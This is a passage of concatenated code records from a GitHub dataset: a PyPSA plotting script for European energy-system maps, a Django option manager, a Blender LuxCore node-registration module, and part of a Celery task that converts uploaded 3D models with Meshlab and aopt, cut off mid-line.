== 0:\n continue # Some countries might not have e.g. storage_units\n \n attr = \"e_nom_opt\" if comp == \"stores\" else \"p_nom_opt\"\n \n df_c[\"nice_group\"] = df_c.carrier.map(rename_techs_tyndp)\n \n if comp == 'storage_units':\n df_c = df_c.drop(df_c.query('carrier == \"PHS\"').index)\n \n capacity_c = ((df_c[attr])\n .groupby([df_c.location, df_c.nice_group]).sum()\n .unstack().fillna(0.))\n \n if comp == 'generators':\n capacity_c = capacity_c[['solar PV','wind','hydroelectricity']]\n \n elif comp == 'links':\n capacity_c = capacity_c[['OCGT','CCGT','CHP','CHP CC','coal','coal CC','nuclear']]\n \n # costs_c = ((df_c.capital_cost * df_c[attr])\n # .groupby([df_c.location, df_c.nice_group]).sum()\n # .unstack().fillna(0.))\n # costs = pd.concat([costs, costs_c], axis=1)\n capacity = pd.concat([capacity, capacity_c], axis=1)\n plot = capacity.groupby(capacity.columns, axis=1).sum() #costs.groupby(costs.columns, axis=1).sum()\n try:\n plot.drop(index=['H2 pipeline',''],inplace=True)\n except:\n print('No H2 pipeline to drop')\n # plot.drop(columns=['electricity distribution grid'],inplace=True) # 'transmission lines'\n plot.drop(columns=plot.sum().loc[plot.sum() < threshold].index,inplace=True)\n technologies = plot.columns\n plot.drop(list(plot.columns[(plot == 0.).all()]), axis=1, inplace=True)\n \n preferred_order = pd.Index([\"domestic demand\",\n \"industry demand\",\n \"heat pump\",\n \"resistive heater\",\n \"BEV\",\n \"H2 charging\",\n \"nuclear\",\n \"hydroelectricity\",\n \"wind\",\n \"solar PV\",\n \"solar rooftop\",\n \"CHP\",\n \"CHP CC\",\n \"biomass\",\n \"gas\",\n \"home battery\",\n \"battery\",\n \"V2G\",\n \"H2\"\n \"solar thermal\",\n \"Fischer-Tropsch\",\n \"CO2 capture\",\n \"CO2 sequestration\",\n ])\n \n new_columns = ((preferred_order & plot.columns)\n .append(plot.columns.difference(preferred_order)))\n plot = plot[new_columns]\n for item in new_columns:\n if item not in tech_colors:\n print(\"Warning!\",item,\"not in config/plotting/tech_colors\")\n plot = plot.stack() # .sort_index()\n # hack because impossible to drop buses...\n if 'stores' in components:\n n.buses.loc[\"EU gas\", [\"x\", \"y\"]] = n.buses.loc[\"DE0 0\", [\"x\", \"y\"]]\n to_drop = plot.index.levels[0] ^ n.buses.index\n if len(to_drop) != 0:\n print(\"dropping non-buses\", to_drop)\n plot.drop(to_drop, level=0, inplace=True, axis=0)\n # make sure they are removed from index\n plot.index = pd.MultiIndex.from_tuples(plot.index.values)\n # PDF has minimum width, so set these to zero\n line_lower_threshold = 500.\n line_upper_threshold = 2e4\n linewidth_factor = 2e3\n ac_color = \"gray\"\n dc_color = \"m\"\n links = n.links #[n.links.carrier == 'DC']\n lines = n.lines\n line_widths = lines.s_nom_opt - lines.s_nom_min\n link_widths = links.p_nom_opt - links.p_nom_min\n if transmission:\n line_widths = lines.s_nom_opt\n link_widths = links.p_nom_opt\n # linewidth_factor = 2e3\n line_lower_threshold = 0.\n line_widths[line_widths < line_lower_threshold] = 0.\n link_widths[link_widths < line_lower_threshold] = 0.\n line_widths[line_widths > line_upper_threshold] = line_upper_threshold\n link_widths[link_widths > line_upper_threshold] = line_upper_threshold\n \n fig.set_size_inches(16, 12)\n n.plot(bus_sizes=plot / bus_size_factor,\n bus_colors=tech_colors,\n line_colors=ac_color,\n link_colors=dc_color,\n line_widths=line_widths / linewidth_factor,\n link_widths=link_widths / linewidth_factor,\n ax=ax, boundaries=(-10, 30, 34, 70),\n color_geomap={'ocean': 'white', 'land': \"whitesmoke\"})\n for i in technologies:\n ax.plot([0,0],[1,1],label=i,color=tech_colors[i],lw=5)\n fig.legend(bbox_to_anchor=(1.01, 0.6), frameon=False,prop={'size':18})\n # fig.suptitle('Installed power capacities and transmission lines',y=0.92,fontsize=15)\n \n handles = make_legend_circles_for(\n [1e5,1e4], scale=bus_size_factor, facecolor=\"grey\")\n labels = [\" {} GW\".format(s) for s in (100,10)]\n l1 = ax.legend(handles, labels,\n loc=\"upper left\", bbox_to_anchor=(0.01, 0.98),\n labelspacing=2,\n frameon=False,\n title='Generation capacity',\n fontsize=15,\n title_fontsize = 15,\n handler_map=make_handler_map_to_scale_circles_as_in(ax))\n ax.add_artist(l1)\n handles = []\n labels = []\n for s in (20, 10):\n handles.append(plt.Line2D([0], [0], color=ac_color,\n linewidth=s * 1e3 / linewidth_factor))\n labels.append(\"{} GW\".format(s))\n l2 = ax.legend(handles, labels,\n loc=\"upper left\", bbox_to_anchor=(0.2, 0.98),\n frameon=False,\n fontsize=15,\n title_fontsize = 15,\n labelspacing=2, handletextpad=1.5,\n title=' Transmission reinforcement')\n ax.add_artist(l2)\n\n return fig\n\ndef plot_investment_map(network, tech_colors, threshold=10,components=[\"links\", \"generators\", \"storage_units\"],\n bus_size_factor=4.3e10, transmission=False):\n \n fig, ax = plt.subplots(subplot_kw={\"projection\": ccrs.PlateCarree()})\n \n n = network.copy()\n \n assign_location(n)\n # Drop non-electric buses so they don't clutter the plot\n n.buses.drop(n.buses.index[n.buses.carrier != \"AC\"], inplace=True)\n costs = pd.DataFrame(index=n.buses.index)\n for comp in components:\n df_c = getattr(n, comp)\n if len(df_c) == 0:\n continue # Some countries might not have e.g. storage_units\n \n df_c[\"nice_group\"] = df_c.carrier.map(rename_techs_tyndp)\n attr = \"e_nom_opt\" if comp == \"stores\" else \"p_nom_opt\"\n \n # if comp == 'storage_units':\n # df_c = df_c.drop(df_c.query('carrier == \"PHS\"').index)\n \n # capacity_c = ((df_c[attr])\n # .groupby([df_c.location, df_c.nice_group]).sum()\n # .unstack().fillna(0.))\n \n # if comp == 'generators':\n # capacity_c = capacity_c[['solar PV','wind','hydroelectricity']]\n \n # elif comp == 'links':\n # capacity_c = capacity_c[['OCGT','CCGT','CHP','CHP CC','coal','coal CC','nuclear']]\n \n costs_c = ((df_c.capital_cost * df_c[attr])\n .groupby([df_c.location, df_c.nice_group]).sum()\n .unstack().fillna(0.))\n costs = pd.concat([costs, costs_c], axis=1)\n plot = costs.groupby(costs.columns, axis=1).sum()\n try:\n plot.drop(index=['H2 pipeline',''],inplace=True)\n except:\n print('No H2 pipeline to drop')\n # plot.drop(columns=['electricity distribution grid'],inplace=True) # 'transmission lines'\n plot.drop(columns=plot.sum().loc[plot.sum() < threshold].index,inplace=True)\n technologies = plot.columns\n plot.drop(list(plot.columns[(plot == 0.).all()]), axis=1, inplace=True)\n \n preferred_order = pd.Index([\"domestic demand\",\n \"industry demand\",\n \"heat pump\",\n \"resistive heater\",\n \"BEV\",\n \"H2 charging\",\n \"nuclear\",\n \"hydroelectricity\",\n \"wind\",\n \"solar PV\",\n \"solar rooftop\",\n \"CHP\",\n \"CHP CC\",\n \"biomass\",\n \"gas\",\n \"home battery\",\n \"battery\",\n \"V2G\",\n \"H2\"\n \"solar thermal\",\n \"Fischer-Tropsch\",\n \"CO2 capture\",\n \"CO2 sequestration\",\n ])\n \n new_columns = ((preferred_order & plot.columns)\n .append(plot.columns.difference(preferred_order)))\n plot = plot[new_columns]\n for item in new_columns:\n if item not in tech_colors:\n print(\"Warning!\",item,\"not in config/plotting/tech_colors\")\n plot = plot.stack() # .sort_index()\n # hack because impossible to drop buses...\n if 'stores' in components:\n n.buses.loc[\"EU gas\", [\"x\", \"y\"]] = n.buses.loc[\"DE0 0\", [\"x\", \"y\"]]\n to_drop = plot.index.levels[0] ^ n.buses.index\n if len(to_drop) != 0:\n print(\"dropping non-buses\", to_drop)\n plot.drop(to_drop, level=0, inplace=True, axis=0)\n # make sure they are removed from index\n plot.index = pd.MultiIndex.from_tuples(plot.index.values)\n # PDF has minimum width, so set these to zero\n line_lower_threshold = 500.\n line_upper_threshold = 2e4\n # linewidth_factor = 2e3\n ac_color = \"gray\"\n dc_color = \"m\"\n links = n.links #[n.links.carrier == 'DC']\n lines = n.lines\n line_widths = lines.s_nom_opt - lines.s_nom_min\n link_widths = links.p_nom_opt - links.p_nom_min\n if transmission:\n line_widths = lines.s_nom_opt\n link_widths = links.p_nom_opt\n # linewidth_factor = 2e3\n line_lower_threshold = 0.\n line_widths[line_widths < line_lower_threshold] = 0.\n link_widths[link_widths < line_lower_threshold] = 0.\n line_widths[line_widths > line_upper_threshold] = line_upper_threshold\n link_widths[link_widths > line_upper_threshold] = line_upper_threshold\n \n fig.set_size_inches(16, 12)\n n.plot(bus_sizes=plot / bus_size_factor,\n bus_colors=tech_colors,\n line_colors=ac_color,\n link_colors=dc_color,\n line_widths=0, #line_widths / linewidth_factor,\n link_widths=0, #link_widths / linewidth_factor,\n ax=ax, boundaries=(-10, 30, 34, 70),\n color_geomap={'ocean': 'white', 'land': \"whitesmoke\"})\n for i in technologies:\n ax.plot([0,0],[1,1],label=i,color=tech_colors[i],lw=5)\n fig.legend(bbox_to_anchor=(1.01, 0.9), frameon=False,prop={'size':18})\n \n handles = make_legend_circles_for(\n [40e9,20e9], scale=bus_size_factor, facecolor=\"grey\")\n labels = [\" {} bn Euro\".format(s) for s in (40,20)]\n l1 = ax.legend(handles, labels,\n loc=\"upper left\", bbox_to_anchor=(0.01, 0.98),\n labelspacing=2,\n frameon=False,\n title='Investments',\n fontsize=15,\n title_fontsize = 15,\n handler_map=make_handler_map_to_scale_circles_as_in(ax))\n ax.add_artist(l1)\n\n return fig\n\ndef plot_storage_map(network, sector, tech_colors, threshold=10,\n bus_size_factor=1e4, transmission=False):\n \n fig, ax = plt.subplots(subplot_kw={\"projection\": ccrs.PlateCarree()})\n \n n = network.copy()\n \n assign_location(n)\n n.buses.drop(n.buses.index[n.buses.carrier != \"AC\"], inplace=True)\n capacity = pd.DataFrame(index=n.buses.index)\n\n components = ['stores','storage_units']\n for comp in components:\n df_c = getattr(n, comp)\n attr = \"e_nom_opt\" if comp == \"stores\" else \"p_nom_opt\"\n df_c[\"nice_group\"] = df_c.carrier.map(rename_techs_tyndp).replace({'hydroelectricity':'pumped hydro'})\n if comp == 'stores':\n capacity_c = ((df_c[attr])\n .groupby([df_c.location, df_c.nice_group]).sum()\n .unstack().fillna(0.))\n if sector == '-T-H-I-B':\n capacity_c = capacity_c.drop(columns=['coal','gas','uranium','oil','solid biomass'])\n else:\n capacity_c = capacity_c.drop(columns=['coal','gas','uranium'])\n \n else:\n df_c = df_c.query('carrier == \"PHS\"')\n capacity_c = ((df_c[attr]*df_c['max_hours'])\n .groupby([df_c.location, df_c.nice_group]).sum()\n .unstack().fillna(0.))\n \n capacity = pd.concat([capacity, capacity_c], axis=1)\n plot = capacity.groupby(capacity.columns, axis=1).sum()\n\n plot.drop(columns=plot.sum().loc[plot.sum() < threshold].index,inplace=True)\n technologies = plot.columns\n plot.drop(list(plot.columns[(plot == 0.).all()]), axis=1, inplace=True)\n \n preferred_order = pd.Index([\"storage-X\",\n \"battery storage\",\n \"EV battery\",\n \"H2\",\n \"hot water storage\"])\n \n new_columns = ((preferred_order & plot.columns)\n .append(plot.columns.difference(preferred_order)))\n plot = plot[new_columns]\n for item in new_columns:\n if item not in tech_colors:\n print(\"Warning!\",item,\"not in config/plotting/tech_colors\")\n plot = plot.stack() # .sort_index()\n # hack because impossible to drop buses...\n #if 'stores' in components:\n n.buses.loc[\"EU gas\", [\"x\", \"y\"]] = n.buses.loc[\"DE0 0\", [\"x\", \"y\"]]\n to_drop = plot.index.levels[0] ^ n.buses.index\n if len(to_drop) != 0:\n print(\"dropping non-buses\", to_drop)\n plot.drop(to_drop, level=0, inplace=True, axis=0)\n # make sure they are removed from index\n plot.index = pd.MultiIndex.from_tuples(plot.index.values)\n ac_color = \"gray\"\n dc_color = \"m\"\n \n fig.set_size_inches(16, 12)\n n.plot(bus_sizes=plot / bus_size_factor,\n bus_colors=tech_colors,\n line_colors=ac_color,\n link_colors=dc_color,\n line_widths=0, #line_widths / linewidth_factor,\n link_widths=0, #link_widths / linewidth_factor,\n ax=ax, boundaries=(-10, 30, 34, 70),\n color_geomap={'ocean': 'white', 'land': \"whitesmoke\"})\n for i in technologies:\n ax.plot([0,0],[1,1],label=i,color=tech_colors[i],lw=5)\n fig.legend(bbox_to_anchor=(1.015, 0.6), frameon=False,prop={'size':18})\n # fig.suptitle('Installed power capacities and transmission lines',y=0.92,fontsize=15)\n \n handles = make_legend_circles_for(\n [1e6,1e5], scale=bus_size_factor, facecolor=\"grey\")\n labels = [\" {} GWh\".format(s) for s in (1000,100)]\n l1 = ax.legend(handles, labels,\n loc=\"upper left\", bbox_to_anchor=(0.01, 0.98),\n labelspacing=2,\n frameon=False,\n title='Energy capacity',\n fontsize=15,\n title_fontsize = 15,\n handler_map=make_handler_map_to_scale_circles_as_in(ax))\n ax.add_artist(l1)\n\n return fig","repo_name":"ebbekyhl/storageX","sub_path":"scripts/plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":32943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"71095291598","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nimport six\nfrom django.db import models\n\n\nclass OptionManager(models.Manager):\n \"\"\"Manager for options.\"\"\"\n\n def get_value(self, name, default=None):\n \"\"\"Gets the value with the proper type.\"\"\"\n converter = {\n self.model.INT: int,\n self.model.FLOAT: float,\n self.model.STRING: six.text_type\n }\n try:\n option = self.model.objects.get(name=name)\n if not option.is_list:\n return converter.get(option.type, six.text_type)(option.value)\n else:\n values = option.value.split(\",\")\n return list(map(lambda item: converter.get(option.type, six.text_type)(item), values))\n except self.model.DoesNotExist:\n return default\n","repo_name":"python-spain/PyConES-2016","sub_path":"pycones/configurations/managers.py","file_name":"managers.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"19956440918","text":"from bpy.utils import register_class, unregister_class\nfrom . import clear, heterogeneous, homogeneous, output, tree\nimport nodeitems_utils\nfrom .tree import luxcore_node_categories_volume\n\nclasses = (\n clear.LuxCoreNodeVolClear,\n heterogeneous.LuxCoreNodeVolHeterogeneous,\n homogeneous.LuxCoreNodeVolHomogeneous,\n output.LuxCoreNodeVolOutput,\n tree.LuxCoreVolumeNodeTree,\n)\n\ndef register():\n nodeitems_utils.register_node_categories(\"LUXCORE_VOLUME_TREE\", luxcore_node_categories_volume)\n\n for cls in classes:\n register_class(cls)\n\ndef unregister():\n nodeitems_utils.unregister_node_categories(\"LUXCORE_VOLUME_TREE\")\n\n for cls in classes:\n unregister_class(cls)\n","repo_name":"LuxCoreRender/BlendLuxCore","sub_path":"nodes/volumes/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":641,"dataset":"github-code","pt":"29"} +{"seq_id":"19273242693","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThis file contains celery tasks that are used to async the process of \nconverting models. It is required that celery runs within a falsk\napp context in order to execute the tasks.\n\nYou can achieve this by createing a instance of the app and then use a\ncontext manager to run celery. For example:\n\n from modelconvert import create_app\n from modelconvert.extensions import celery\n\n app = create_app()\n\n with app.app_context():\n celery.worker_main(['worker', '-E', '-l', 'INFO'])\n\n\nFIXME: Needs major refactoring. Use Task class, the output bundling\ncan be factored out, also status updates and configuration handling,\nand so on...\n\"\"\"\nimport os\nimport shutil\nimport subprocess\nimport zipfile\nimport datetime\n\nimport flask\nfrom flask import current_app\n\nfrom flask.ext.mail import Mail, Message\n\nfrom celery import current_task\nfrom celery.utils.log import get_task_logger\n\n#logger = get_task_logger(__name__)\n\nfrom jinja2 import Environment, FileSystemLoader, TemplateNotFound\n\nfrom modelconvert import security\nfrom modelconvert.extensions import celery, red\nfrom modelconvert.utils import compression, fs\n\n\nclass ConversionError(Exception):\n pass\n\n\n# class TaskProgress(object):\n\n# ERROR = -1\n# INFO = 0\n# WARNING = 1\n\n# def update(self, message, level=INFO):\n# pass\n\n\ndef update_progress(msg):\n \"\"\"\n Updates custom PROGRESS state of task. Also sends a message to the subpub\n channel for status updates. We EventSource push notification so reduce\n server load. The custom PROGRESS state is used for XHR poll fallback.\n \"\"\"\n current_app.logger.info(\"(+++) PROGRESS: {0} (TASK: {1})\".format(msg, current_task.request.id))\n current_task.update_state(state='PROGRESS', meta={'message': msg})\n #now = datetime.datetime.now().replace(microsecond=0).time()\n red.publish(current_task.request.id, '{0}'.format(msg))\n\n\n@celery.task(name='modelconvert.tasks.convert_model')\ndef convert_model(input_file, options=None):\n \"\"\"\n Task to run the model convestion. This task is written in a manner\n that is can run independently from the web application. You can call\n this task from the command line or other rich gui. The only requirement\n is a settings module in the current package as well as the requierd \n dependencies (celery, jinja, aopt, meshlab, etc.).\n \n This tasks is currently very monolithic and does too much.\n To make this more flexible, this task should really only convert\n and optimize one file. If multiple files are uploaded, tasks\n can be chained.\n\n This task is currently a spaghetti monster mess from hell.\n \"\"\"\n\n # used for configuration handling\n TASK_CONFIG_SECTION = 'task:modelconvert.tasks.convert_model'\n\n\n update_progress(\"Warming up...\")\n\n # # need this so pubsub will work, it's probably due to too fast processing\n # # and the reconn timout of evensource\n # # FIXME find out why we need to wait a bit and fix it\n # import time\n # time.sleep(10)\n\n logger = current_app.logger\n\n # The current tasks id\n task_id = current_task.request.id\n \n # options:\n # meshlab\n # template\n # hash\n # meta\n \n # keep the generated hash for filenames\n # use the taskid for status only\n # delted uploaded file on successfull conversion, otherwise\n # log filename in error trace\n \n # the hash should always be provided, however if not\n # i.e. running outside a web application, we reuse the taskid\n hash = options.get('hash', task_id)\n\n # meshlab options\n meshlab = options.get('meshlab', None)\n \n # alternative template\n template = options.get('template', 'basic')\n\n email_to = options.get('email_to', None)\n \n # copy metadata to output dir if present\n meta_filename = options.get('meta_filename', None)\n\n # get the filename without extension \n # i.e. /path/tp/foo.obj -> foo\n # /path/tp/foo.bar.obj -> foo.bar\n # FIXME: get rid of this, in case of zip file this is hash.zip\n # and not usable the way we use it right now\n input_filename = os.path.splitext(os.path.basename(input_file))[0]\n\n\n update_progress(\"Starting to process uploaded file\")\n logger.info(\"Uploaded file: {0}\".format(input_file))\n\n download_path = current_app.config['DOWNLOAD_PATH']\n bundles_path = current_app.config['BUNDLES_PATH']\n upload_path = current_app.config['UPLOAD_PATH']\n\n # this should actuayll come in as parameter, as we assume too much here\n upload_directory = os.path.join(current_app.config['UPLOAD_PATH'], hash)\n \n # first create where everything is stored\n output_directory = os.path.join(download_path, hash)\n os.mkdir(output_directory)\n\n\n # {{{ Per bundle configuration\n update_progress(\"Reading output template configuration\")\n\n # TODO FIXME\n # this whole config stuff is a very naive implementation anbelongs in a \n # task superclass / or coposite object which then scopes for configuration relevant for the \n # related task. i.g. self.config.get_boolean('aopt.option', default) should actually be\n # task_config_parser.get_boolean('aopt.option', default_value)\n # task_config_arser is a subclass of config farser and actually performs this:\n # config_parser.get+boolean('task:path.to.this_task', 'aopt.option', default_value)\n import ConfigParser\n\n bundle_config = ConfigParser.SafeConfigParser()\n# bundle_config = ConfigParser.SafeConfigParser(allow_no_value=True) 2.7\n\n # read the defaults and template config\n bundle_config.read([\n os.path.abspath(os.path.join(os.path.dirname(__file__), 'convert_model.defaults')),\n os.path.join(bundles_path, template, 'settings.ini')\n ])\n \n # convert this to no_value with 2.7 requirement\n try:\n if bundle_config.getboolean(TASK_CONFIG_SECTION, 'meshlab.disabled'):\n meshlab = None\n except ConfigParser.NoOptionError:\n pass\n\n meshlab_log = bundle_config.getboolean(TASK_CONFIG_SECTION, 'meshlab.log')\n aopt_log = bundle_config.getboolean(TASK_CONFIG_SECTION, 'aopt.log')\n #nexus_log = bundle_config.getboolean(TASK_CONFIG_SECTION, 'nexus.log')\n\n\n # {{{ ZIPFILES\n # If the uploaded file is a archive, uncompress it.\n # Note that this step should be moved to the controller (or another task)\n # once we switch to a different workflow (upload file->select template->convert)\n # for each model. but for now, we are using the naive approach.\n # refactor this out\n \n\n # format ('infile.obj','outfile.x3d', ['outfile.xml'] or None)\n # it might make sense to create a class or at least a dict for this \n # in the future,\n models_to_convert = [] \n\n if compression.is_archive(input_file):\n update_progress(\"Uncompressing archive\")\n \n uncompressed_path = upload_directory + '.tmp'\n os.mkdir(uncompressed_path)\n\n compression.unzip(input_file, uncompressed_path)\n\n update_progress(\"Archive uncompressed\")\n\n resources_to_copy = [] # entry format path/to/resource\n found_models = [] \n found_metadata = []\n\n update_progress(\"Detecting models and resources\")\n\n # detect and collect models, metadata, and resources\n for root, dirs, files in os.walk(uncompressed_path, topdown=False):\n for name in files:\n if security.is_model_file(name):\n update_progress(\"Found model: {0}\".format(name))\n found_models.append(name)\n elif security.is_meta_file(name):\n update_progress(\"Found meta data: {0}\".format(name))\n found_metadata.append(name)\n resources_to_copy.append(name)\n else:\n update_progress(\"Found resource: {0}\".format(name))\n resources_to_copy.append(name)\n # just copy over\n \n for name in dirs:\n update_progress(\"Found directory: {0}\".format(name))\n resources_to_copy.append(name)\n\n if not found_models:\n raise ConversionError(\"No models found in archive. Be sure to put all models at the root level of your archive.\")\n\n logger.info(\"****** FOUND_META: {0}\".format(found_metadata))\n\n update_progress(\"Associating meta data to models\")\n\n # FIXME: this could be improved\n for model in found_models:\n m_root = os.path.splitext(os.path.basename(model))[0]\n\n m_output_inline = m_root + '.x3d'\n m_output_html = m_root + '.html'\n\n # now we have a list of metas belonging to the current model\n # store that in the master list\n model_base_split = os.path.splitext(os.path.basename(model))\n model_info_dict = {\n 'name': model_base_split[0],\n\n 'input': model,\n 'input_format': model_base_split[1][1:], # fixme, use magic|mime instead of extension\n 'input_path': os.path.abspath(uncompressed_path),\n\n 'output': model_base_split[0] + '.x3d',\n 'output_format': 'x3d',\n \n 'inline': model_base_split[0] + '.x3d',\n 'preview': model_base_split[0] + '.html',\n \n 'resources': resources_to_copy,\n }\n\n # then walk each metadata to find match for model\n m_metas = []\n for r in found_metadata:\n # found matching metadata file, mark it\n r_root = os.path.splitext(os.path.basename(r))[0]\n r_ext = os.path.splitext(os.path.basename(r))[1][1:]\n if r_root == m_root:\n m_metas.append({\n 'file': r,\n 'type': r_ext,\n })\n\n if m_metas:\n model_info_dict.update(metadata=m_metas)\n\n models_to_convert.append(model_info_dict)\n# models_to_convert.append( (model, m_output_inline, m_output_html, m_metas,) )\n\n # we now have list of models with associated metadata\n # and a list of plain resources that simply need to be copied\n # models_to_convert\n # resources_to_copy\n logger.info(\"****** MODELS: {0}\".format(models_to_convert))\n logger.info(\"****** RESOURCES: {0}\".format(resources_to_copy))\n \n\n ####### First copy the resources\n\n # simplified: we just copy everything that is dir blindly as well\n # as all files in the root level which are not models.\n for resource in resources_to_copy:\n src = os.path.join(uncompressed_path, resource)\n dest = os.path.join(output_directory, resource)\n\n if os.path.isdir(src):\n fs.copytree(src, dest)\n else:\n shutil.copy(src, dest)\n # }}}\n else:\n # no compression, no multimodel, no, textures..\n current_input_filename = os.path.splitext(os.path.basename(input_file))[0]\n\n model_base_split = os.path.splitext(os.path.basename(input_file))\n model_info_dict = {\n 'name': model_base_split[0],\n\n 'input': os.path.basename(input_file),\n 'input_format': model_base_split[1][1:], # fixme, use magic|mime instead of extension\n 'input_path': os.path.abspath(os.path.dirname(input_file)),\n\n 'output': model_base_split[0] + '.x3d',\n 'output_format': 'x3d',\n \n 'inline': model_base_split[0] + '.x3d',\n 'preview': model_base_split[0] + '.html',\n \n 'resources': None,\n }\n\n # we have a meta file which could be named whatever, normalize\n # this is a mess - but for the review...\n # this should be handled by the zip code above, since its the same\n # but only one file.\n if meta_filename:\n \n meta_dest_filename = input_filename + os.path.splitext(meta_filename)[1]\n shutil.copy(meta_filename, os.path.join(output_directory, meta_dest_filename))\n\n meta_data_list = []\n meta_data_list.append({\n 'file': meta_dest_filename,\n 'type': os.path.splitext(meta_filename)[1][1:]\n })\n\n model_info_dict.update(metadata=meta_data_list)\n\n models_to_convert.append(model_info_dict);\n logger.info(\"***** MODELS TO CONVERT: {0} \".format(models_to_convert))\n\n# models_to_convert = [ (input_file, current_input_filename+'.x3d', current_input_filename+'.html', meta_dest_filename) ]\n\n\n\n logger.info(\"***** MODELS TO CONVERT: {0} \".format(models_to_convert))\n\n # ------------------------------------------------------------------\n # The following steop only generates templates, for the uploaded\n # data. This can be refactored out. The reason this runs before aopt\n # is in order to allow live preview of partially optimized models later\n # on as well as reading configuration for aopt/meshlab\n\n\n # first copy static assets\n output_directory_static = os.path.join(output_directory, 'static')\n input_directory_static = os.path.join(bundles_path, template, 'static')\n input_directory_shared = os.path.join(bundles_path, '_shared')\n \n # copy shared resources\n fs.copytree(input_directory_shared, output_directory)\n\n # copy template resources\n fs.copytree(input_directory_static, output_directory_static)\n\n\n # init template engine\n jinja = Environment(loader=FileSystemLoader(os.path.join(bundles_path, template)))\n\n tpl_job_context = {\n # fixme assuming too much here\n 'archive_uri': hash + '.zip'\n }\n\n list_template = 'list.html'\n model_template = 'view.html'\n\n # first render index template if it's present in the template bundle.\n # we always do this, even if there's only one model to convert\n try:\n update_progress(\"Starting to render list template\")\n\n tpl = jinja.get_template(list_template)\n context = { }\n context.update(models=models_to_convert, job=tpl_job_context)\n # we need info on the models, probably a object would be nice\n\n tpl_output = os.path.join(output_directory, 'list.html')\n # finally render template bundle\n with open(tpl_output, 'w+') as f:\n f.write(tpl.render(context))\n\n except TemplateNotFound as tplnf:\n # not sure if we should stop here, for the moment we proceed\n # since the list.html list view is technically not necessary\n # to complete rendering\n update_progress(\"List template not found, proceeding without\")\n logger.error(\"Template '{0}' not found - ignoring list view\".format(list_template))\n finally:\n update_progress(\"Done processing list template\")\n\n \n model_template_context = dict()\n try:\n model_template_renderer = jinja.get_template(model_template)\n\n for model in models_to_convert:\n # now render templates for individual models\n update_progress(\"Rendering template for model: {0}\".format(model['name']))\n\n # write out template\n model_template_context.update(\n model=model,\n # the job this model belongs to (used for getting archive name)\n job=tpl_job_context \n )\n\n tpl_output = os.path.join(output_directory, model['preview'])\n with open(tpl_output, 'w+') as f:\n f.write(model_template_renderer.render(model_template_context))\n\n except TemplateNotFound:\n logger.error(\"Template '{0}'' not found - ignoring list view\".format(view_template))\n \n\n\n ### temp\n output_filename = models_to_convert[0]['output']\n output_template_filename = models_to_convert[0]['preview']\n\n\n # end template generation\n # ------------------------------------------------------------------\n\n\n # ------------------------------------------------------------------\n # Meshlab doing it's thing, generating temproary outputs\n # this should live in its own task\n # ------------------------------------------------------------------\n working_directory = os.getcwd()\n os.chdir(output_directory)\n \n logger.info(\"Output filename: {0}\".format(output_filename) )\n logger.info(\"Output directory: {0}\".format(output_directory) )\n logger.info(\"Working directory: {0}\".format(working_directory) )\n logger.info(\"Aopt binary: {0}\".format(current_app.config['AOPT_BINARY']))\n logger.info(\"Meshlab binary: {0}\".format(current_app.config['MESHLAB_BINARY']))\n logger.info(\"Nexus binary: {0}\".format(current_app.config['NEXUS_BINARY']))\n\n if meshlab:\n #inputfile = outputfile could lead to problems later on\n \n update_progress(\"Meshlab optimization...\")\n \n env = os.environ.copy()\n env['DISPLAY'] = current_app.config['MESHLAB_DISPLAY']\n\n \n meshlab_filter = \"\"\n meshlab_filter += \"\"\n\n for item in meshlab:\n # fixme, parameterization could be dynamic, not hardcoded\n if item == \"Remove Isolated pieces (wrt Face Num.)\":\n meshlab_filter += ''\n meshlab_filter += ''\n meshlab_filter += ''\n meshlab_filter += ''\n else:\n meshlab_filter += '' \n\n meshlab_filter += \"\"\n\n\n\n # todo-> name this after model\n meshlab_filter_filename = os.path.join(output_directory, hash + '.mlx')\n with open(meshlab_filter_filename, 'w+') as f:\n f.write(meshlab_filter)\n \n # Subprocess in combination with PIPE/STDOUT could deadlock\n # be careful with this. Prefer the Python 2.7 version below or\n \n for model in models_to_convert:\n update_progress(\"Meshlab optimization: {0}\".format(model['input']))\n \n meshlab_input_file = os.path.join(model['input_path'], model['input'])\n\n # options to account for many different attributes: -om vc fc vn vt wt\n proc = subprocess.Popen([\n current_app.config['MESHLAB_BINARY'], \n \"-i\", \n meshlab_input_file, \n \"-o\",\n meshlab_input_file, \n \"-s\",\n meshlab_filter_filename,\n \"-om\",\n \"vc\" if model['input_format'] != \"obj\" else \"\",\n \"vt\",\n \"wt\",\n \"ff\"\n ],\n env=env, \n stdout=subprocess.PIPE, \n stderr=subprocess.STDOUT)\n \n output = proc.communicate()[0]\n returncode = proc.wait()\n\n # create a aopt log in debug mode\n if current_app.config['DEBUG'] or meshlab_log:\n with open(os.path.join(output_directory, 'meshlab.log'), 'a+') as f:\n f.write(output)\n\n\n logger.info(\"Meshlab optimization model: {0} return: {1}\".format(meshlab_input_file, returncode))\n logger.info(output)\n\n if returncode == 0:\n update_progress(\"Meshlab successfull\")\n else:\n update_progress(\"Meshlab failed!\")\n logger.error(\"Meshlab problem: {0} return: {1}\".format(meshlab_input_file, returncode))\n\n \n\n # Python 2.7\n # try:\n # check_output([\n # current_app.config['MESHLAB_BINARY'], \n # \"-i\", \n # input_file, \n # \"-o\",\n # input_file, \n # \"-s\",\n # meshlab_filter_filename,\n # \"-om\",\n # \"ff\"\n # ], env=env)\n # \n # except CalledProcessError as e:\n # logger.info(\"Meshlab problem exit code {0}\".format(e.returncode))\n # logger.error(\"Meshlab: \" + e.output)\n \n\n # if status == 0:\n # logger.info(\"Meshlab optimization {0}\".format(status))\n # else:\n # logger.info(\"Meshlab problem exit code {0}\".format(status))\n\n else:\n update_progress(\"Skipping Meshlab optimization\")\n\n\n # end Meshlab\n # ------------------------------------------------------------------\n\n # NEXUS TEMPLATE CONVERSION (a template which needs processing..)\n # ------------------------------------------------------------------\n \n if template == \"nexus\":\n update_progress(\"Starting NEXUS conversion\")\n logger.info(\"Nexus processing is started!\")\n \n env = os.environ.copy()\n for model in models_to_convert:\n nexus_input_file = os.path.join(model['input_path'], 